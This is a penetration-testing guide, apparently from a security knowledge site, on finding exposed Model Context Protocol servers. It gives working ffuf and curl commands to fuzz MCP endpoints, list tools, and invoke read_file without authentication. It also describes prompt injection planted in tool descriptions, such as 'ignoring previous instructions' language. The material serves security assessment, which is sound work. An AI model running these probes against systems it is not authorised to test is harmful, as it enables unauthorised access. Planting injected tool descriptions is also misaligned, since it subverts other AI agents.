# Identifying Exposed MCP Surfaces

> Techniques for discovering exposed Model Context Protocol endpoints, authentication gaps, and misconfigured AI platform attack surfaces during reconnaissance.

- **URL:** https://hackindex.io/platforms/ai/vulnerability-discovery/identifying-exposed-model-context-protocol-surfaces
- **Path:** AI Platforms > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/platforms/ai/vulnerability-discovery.md)
- **Published:** 2026-03-18
- **Updated:** 2026-08-11

The Model Context Protocol (MCP) is an open standard for connecting AI models to external tools and data sources. MCP servers expose tools that AI clients can discover and invoke. When MCP servers are exposed without authentication, or when their tool definitions contain vulnerabilities, they become direct attack surfaces: an attacker can invoke tools directly without going through the AI model at all, or can craft malicious tool descriptions that influence model behavior when the server is connected to a client.

- **SSE endpoint scanning** discovers exposed MCP servers by fuzzing for common paths that return text/event-stream responses without authentication.
- **Tool enumeration via initialize** sends MCP JSON-RPC requests to list every tool the server exposes, including parameter schemas.
- **Direct tool invocation** calls high-privilege tools like execute_command or read_file directly through the MCP protocol, bypassing the AI model entirely.
- **Prompt injection via tool descriptions** checks whether tool descriptions contain instruction-like language that can influence model behavior when the server is connected to a client.

## Scan for Exposed MCP Server Endpoints

MCP servers typically expose an SSE endpoint for server-sent events and a POST endpoint for JSON-RPC messages. Scan for common MCP endpoint paths:

```bash
cat > /tmp/mcp-paths.txt << 'EOF'
mcp
mcp/sse
mcp/messages
sse
api/mcp
api/mcp/sse
api/mcp/messages
api/v1/mcp
api/v1/mcp/sse
tools
api/tools
api/v1/tools
EOF
ffuf -u https://$TARGET_DOMAIN/FUZZ -w /tmp/mcp-paths.txt -mc 200,400,401,403,405 -H 'Accept: text/event-stream'
```

A 200 response with `Content-Type: text/event-stream` confirms an SSE endpoint. An MCP SSE endpoint that responds without authentication is directly accessible for tool enumeration and invocation.

## Enumerate Available Tools via MCP Initialize

Send an MCP initialize request to discover what tools the server exposes:

```bash
curl -sk -X POST https://$TARGET_DOMAIN/mcp/messages -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"test","version":"1.0"}}}' | python3 -m json.tool
```

```bash
curl -sk -X POST https://$TARGET_DOMAIN/mcp/messages -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}' | python3 -m json.tool
# {
#     "result": {
#         "tools": [
#             {
#                 "name": "read_file",
#                 "description": "Read a file from the filesystem",
#                 "inputSchema": {"type":"object","properties":{"path":{"type":"string"}}}
#             },
#             {
#                 "name": "execute_command",
#                 "description": "Execute a shell command",
#                 "inputSchema": {"type":"object","properties":{"command":{"type":"string"}}}
#             }
#         ]
#     }
# }
```

A tools list response confirms the MCP server is accessible and enumerates every tool it exposes. Tools like `execute_command`, `read_file`, or `database_query` without authentication represent direct privilege escalation: you can invoke these tools without going through the AI model at all.

## Test Direct Tool Invocation Without Authentication

Attempt to call an enumerated tool directly via the MCP protocol without authentication:

```bash
curl -sk -X POST https://$TARGET_DOMAIN/mcp/messages -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"read_file","arguments":{"path":"/etc/hostname"}}}' | python3 -m json.tool
```

A successful tool call result confirms unauthenticated direct tool invocation is possible. This bypasses the AI model entirely: the attacker is calling the underlying tool directly using the MCP protocol. The impact is equivalent to having direct access to whatever the tool provides.

## Check for Prompt Injection in Tool Descriptions

MCP tool descriptions are injected into the AI model's context when a client connects. Malicious tool descriptions can influence model behavior. Check whether tool descriptions contain suspicious instructions:

```bash
curl -sk -X POST https://$TARGET_DOMAIN/mcp/messages -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}' | python3 -c "import sys,json; d=json.load(sys.stdin); [print(t['name'],'\n',t['description'],'\n') for t in d.get('result',{}).get('tools',[])]"
```

Tool descriptions that contain instruction-like language, references to ignoring previous instructions, or unusual formatting targeting model behavior are indicators of a prompt injection via tool description attack: relevant when assessing third-party MCP servers that a target organization has connected to their AI client.

## References

- [Model Context Protocol: Specification](https://modelcontextprotocol.io/specification) - MCP protocol structure, initialize, and tools/list method reference
- [OWASP Top 10 for LLM Applications](https://owasp.org/www-project-top-10-for-large-language-model-applications/) - LLM07: System Prompt Leakage reference for MCP tool description injection